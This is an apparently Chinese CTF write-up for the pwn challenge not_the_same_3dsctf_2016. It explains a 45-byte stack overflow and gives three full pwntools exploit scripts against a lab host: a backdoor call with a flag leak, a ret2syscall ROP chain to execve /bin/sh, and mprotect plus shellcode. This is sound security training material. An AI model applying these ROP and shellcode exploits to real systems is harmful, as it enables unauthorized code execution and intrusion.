首页 > 其他分享 >not_the_same_3dsctf_2016

not_the_same_3dsctf_2016

时间:2024-07-09 15:20:04浏览次数:16  
标签:addr 3dsctf same filename pop p32 2016 ebx payload

not_the_same_3dsctf_2016

查看保护就不说了

IDA反编译发现为静态编译,不用找libc了这点节省不少功夫。打开main函数,发现栈溢出漏洞

偏移为45,这个是根据gdb的cyclic算出来的
发现后门函数get_secret,功能是把flag读取赋值给fl4g

初步思路为通过栈溢出,调用get_secret,再通过write函数读取fl4g

方法一 通过栈溢出调用后门函数

from pwn import *
from LibcSearcher import *
filename = './not_the_same_3dsctf_2016'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('node5.buuoj.cn' , 29232)
else:
    p = process(filename)
elf = ELF(filename)
write_addr = 0x806E270
flag_addr = 0x080ECA2D
target = 0x080489A0
exit_addr = 0x0804E660

payload = 45 * b'a'
payload += p32(target)
payload += p32(elf.symbols['write']) + p32(exit_addr)
payload += p32(1) + p32(flag_addr) + p32(42)

p.sendline(payload)
p.interactive()

我们前面分析这个是静态编译,我们可以直接ret2syscall,通过设置寄存器的值,直接获得shell

方法二 ret2syscall

from pwn import *
from LibcSearcher import *
filename = './not_the_same_3dsctf_2016'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('node5.buuoj.cn' , 29232)
else:
    p = process(filename)
elf = ELF(filename)
#gdb.attach(p , 'b * 0x080489EA')
#0x08048b0b : pop eax ; ret
pop_eax = 0x08048b0b
#0x0806fcc9 : pop ebx ; pop edx ; ret
pop_ebx_edx = 0x0806fcc9
#0x0806fcf1 : pop ecx ; pop ebx ; ret
pop_ecx_ebx = 0x0806fcf1
#0x0806d8a5 : int 0x80
int80_addr = 0x0806d8a5
get_addr = 0x0804F8D0
data_addr = 0x080EBAD2
target = 0x080489A0
#0x080481ad : pop ebx ; ret
pop1 = 0x080481ad 
payload = 45 * b'a'
payload += p32(get_addr) + p32(pop1) + p32(data_addr)
payload += p32(pop_ecx_ebx) + p32(0) + p32(0)
payload += p32(pop_eax) + p32(11)
payload += p32(pop_ebx_edx) + p32(data_addr) + p32(0)
payload += p32(int80_addr)
payload += p32(target)
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

这个看上去有点复杂但是,耐心看下来还是很好理解的,32位getshell需要调用execv>("/bin/sh",null,null),寄存器eax=11,ebx="/bin/sh",ecx=0,edx=0,然后再执行int 0x80

然后我们发现函数列表有mprotect,这个函数可以改变段的执行权限,我们可以开启最高权限,执行shellcode

方法三 mprotect配合shellcode

from pwn import *
from LibcSearcher import *
filename = './not_the_same_3dsctf_2016'

if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    p = remote('node5.buuoj.cn' , 29232)
else:
    p = process(filename)
elf = ELF(filename)
context(arch = 'i386' , os = 'linux' , log_level = 'debug')
read_addr = elf.symbols['read']
mprotect_addr = 0x0806ED40
pop3_ret = 0x806fcc8
shellcode = asm(shellcraft.sh())
target = 0x80ea000
binsh_addr = 0x80ec000

payload =  0x2D * b'a'
payload += p32(mprotect_addr) + p32(pop3_ret)
payload += p32(target) + p32(0x3000) + p32(0x7)
payload += p32(read_addr) + p32(pop3_ret)
payload += p32(0) + p32(binsh_addr) + p32(len(shellcode))
payload += p32(binsh_addr)

p.sendline(payload)
p.sendline(shellcode)
p.interactive()

标签:addr,3dsctf,same,filename,pop,p32,2016,ebx,payload
From: https://www.cnblogs.com/return1/p/18292005

相关文章

  • P4688 Ynoi2016 掉进兔子洞
    P4688Ynoi2016掉进兔子洞经典莫队加bitset。思路不难发现最终答案就是:\[(r_1-l_1+1)+(r_2-l_2+1)+(r_3-l_3+1)-3\timessize\]其中\(size\)表示3个区间内出现了多少个公共元素。看到这么多区间,不妨有把区间拆下来搞莫队的想法。先不考虑询问个数的限制,我们考虑使用......
  • 2016 CSP-J/NOIP万字长文复赛真题题解——秒杀T1 买铅笔,T2 回文日期,T3 海港,T4 魔法
    [NOIP2016普及组]买铅笔题干[NOIP2016普及组]买铅笔题目背景NOIP2016普及组T1题目描述P老师需要去商店买nnn支铅笔作为小朋友们参加NOIP的礼物。她发现......
  • P3350 [ZJOI2016] 旅行者
    咕了2天才写的题解还是比较经典的题目,分治处理网格图最短路离线下来,利用分治的思想,用一条线把网格图平均劈成两半,每次只考虑询问在两块的一对点,所有的线必须经过直线上的一个点,于是我把线上所有点都在规定范围内跑一次dijkstra,最后直接算答案,显然我想让最短路跑的次数最小,每次选......
  • Is a charger the same as an adaptor?
    Achargerandanadapterarenotthesame,althoughtheyareoftenusedtogetherandtheirfunctionscanoverlapdependingonthecontext.Herearethedistinctionsandrelationshipsbetweenthetwo:Charger:Function:Achargerisspecificallydesigned......
  • [集训队互测2016] Unknown
    经典题,国赛前才做怎么回事。一句话题意:末尾加删,区间询问凸包信息。一个做法是建出操作树,发现本题相当于路径查询凸包信息。于是可以树剖/点分治。点分治的话可以转化成只有前缀询问的情况用平衡树维护图报加入一个点和回退。但是这样太难写了!观察到询问只有直上直下的链(当然如果......
  • Windows Server 2016 搭建VPN服务
    ......
  • Windows Server 2016 中文版、英文版下载 (updated Jun 2024)
    WindowsServer2016中文版、英文版下载(updatedJun2024)WindowsServer2016Version1607请访问原文链接:https://sysin.org/blog/windows-server-2016/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org本站将不定期发布官方原版风格月度更新ISO。WindowsSer......
  • Windows Server 2016 OVF, updated Jun 2024 (sysin) - VMware 虚拟机模板
    WindowsServer2016OVF,updatedJun2024(sysin)-VMware虚拟机模板2024年6月版本更新,现在自动运行sysprep,支持ESXiHostClient部署请访问原文链接:https://sysin.org/blog/windows-server-2016-ovf/,查看最新版。原创作品,转载请保留出处。作者主页:sysin.org现在......
  • SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
    1.问题描述SSL/TLS协议信息泄露漏洞(CVE-2016-2183)TLS是安全传输层协议,用于在两个通信应用程序之间提供保密性和数据完整性。TLS,SSH,IPSec协商及其他产品中使用的DES及TripleDES密码存在大约四十亿块的生日界,这可使远程攻击者通过Sweet32攻击,获取纯文本数据。2.问题解决......
  • P5102 [JOI 2016 Final] 领地
    P5102[JOI2016Final]领地模拟赛题,但是赛时挂在了取模上,就差一点啊啊啊啊啊啊。记\((x_i,y_i)\)是移动了\(i\)次后的坐标。肯定要从周期的方面考虑,每一组操作产生的点是上一组操作产生的点在\(x\)轴方向平移了\(x_n\),\(y\)轴方向平移了\(y_n\)得到的,即\(\forall......